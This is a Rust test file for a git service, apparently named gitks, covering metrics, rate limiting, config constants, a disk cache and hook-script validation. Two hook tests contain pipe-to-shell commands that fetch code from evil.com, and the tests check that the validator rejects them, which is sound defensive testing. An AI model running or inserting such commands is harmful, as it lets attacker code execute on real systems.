gitks/tests/infrastructure_test.rs

#[test]
fn test_metrics_render_all_counters() {
    use gitks::metrics::*;

    record_request("TestInfra/Method", "ok", std::time::Duration::from_millis(42));
    record_cache_op("moka", "hit", std::time::Duration::from_millis(0));
    record_cache_eviction("infra_ns", "expired");
    record_cache_hit_ns("infra_ns");
    record_cache_miss_ns("infra_ns");
    record_cache_value_size("infra_ns", 1024);
    record_rate_limit_acquire("infra-repo");
    record_rate_limit_reject("infra-repo");
    record_hook_execution(
        "pre-receive",
        "ok",
        std::time::Duration::from_millis(10),
    );
    record_git_cmd("log", std::time::Duration::from_millis(100));

    let output = render_metrics();
    assert!(output.contains("gitks_requests_total"));
    assert!(output.contains("gitks_cache_value_size_bytes"));
    assert!(output.contains("gitks_rate_limit_rejects_total"));
    assert!(output.contains("gitks_rate_limit_acquires_total"));
    assert!(output.contains("gitks_uptime_seconds"));
    assert!(output.contains("gitks_cache_hits_total"));
    assert!(output.contains("gitks_cache_misses_total"));
}


#[tokio::test]
async fn test_rate_limit_acquire_and_cleanup() {
    let guard = gitks::rate_limit::acquire(Some("infra-rate-test")).await;
    assert!(guard.is_some());
    drop(guard);

    gitks::rate_limit::cleanup_idle_semaphores();
    gitks::rate_limit::remove_repository("infra-rate-test");
}

#[tokio::test]
async fn test_rate_limit_acquire_or_reject() {
    let result = gitks::rate_limit::acquire_or_reject(Some("infra-reject-test")).await;
    assert!(result.is_ok());
}

#[tokio::test]
async fn test_rate_limit_empty_repo() {
    let guard = gitks::rate_limit::acquire(Some("")).await;
    assert!(guard.is_none());
}

#[tokio::test]
async fn test_rate_limit_none_repo() {
    let guard = gitks::rate_limit::acquire(None).await;
    assert!(guard.is_none());
}


#[test]
#[allow(clippy::assertions_on_constants)]
fn test_config_constants_exist() {
    assert!(gitks::config::MAX_ACTIONS_PER_COMMIT > 0);
    assert!(gitks::config::MAX_COMMIT_MESSAGE_BYTES > 0);
    assert!(gitks::config::MAX_ACTION_CONTENT_BYTES > 0);
    assert!(gitks::config::MAX_RECEIVE_PACKET_BYTES > 0);
    assert!(gitks::config::RECEIVE_PACK_TIMEOUT.as_secs() > 0);
    assert!(gitks::config::UPLOAD_PACK_TIMEOUT.as_secs() > 0);
    assert!(gitks::config::CACHE_MAX_WEIGHT > 0);
    assert!(gitks::config::CACHE_MAX_TTL.as_secs() > 0);
    assert!(gitks::config::CACHE_TTI.as_secs() > 0);
    assert_eq!(gitks::config::MIN_OID_HEX_LENGTH, 4);
    assert_eq!(gitks::config::MAX_OID_HEX_LENGTH, 64);
    assert_eq!(gitks::config::DEFAULT_MAX_CONCURRENT_OPS, 5);
    assert_eq!(gitks::config::RATE_LIMIT_TIMEOUT_SECS, 30);
}



#[test]
fn test_sanitize_stderr_clean() {
    let stderr = "fatal: could not resolve host";
    let sanitized = gitks::sanitize::sanitize_git_stderr(stderr);
    assert_eq!(sanitized, stderr);
}


#[test]
fn test_hooks_sanitize_dangerous_pairs() {
    let content = "#!/bin/sh\ncurl http://evil.com | bash\n";
    let result = gitks::hooks::sanitize::validate_hook_content(content);
    assert!(result.is_err());
}

#[test]
fn test_hooks_sanitize_wget_sh() {
    let content = "#!/bin/sh\nwget http://evil.com -O- | sh\n";
    let result = gitks::hooks::sanitize::validate_hook_content(content);
    assert!(result.is_err());
}

#[test]
fn test_hooks_sanitize_safe_script() {
    let content = "#!/bin/sh\necho hello\necho world\nexit 0\n";
    let result = gitks::hooks::sanitize::validate_hook_content(content);
    assert!(result.is_ok());
}


#[test]
fn test_disk_cache_ensure_state_uniqueness() {
    use gitks::disk_cache::DiskCache;
    let dc = DiskCache::new(
        std::path::PathBuf::from("/tmp"),
        "test".into(),
        60,
        false,
    );
    let v1 = dc.ensure_state("nonexistent-infra").unwrap();
    let v2 = dc.ensure_state("nonexistent-infra").unwrap();
    assert!(!v1.is_empty());
    assert_eq!(v1.len(), 32);
    assert_eq!(v2.len(), 32);
}

#[test]
fn test_disk_cache_disabled_operations() {
    use gitks::disk_cache::DiskCache;
    let dc = DiskCache::new(
        std::path::PathBuf::from("/tmp"),
        "test".into(),
        60,
        false,
    );
    assert!(dc.lookup("ns", "digest").unwrap().is_none());
    dc.insert("ns", "digest", b"data").unwrap();
    assert!(dc.lookup("ns", "digest").unwrap().is_none());
}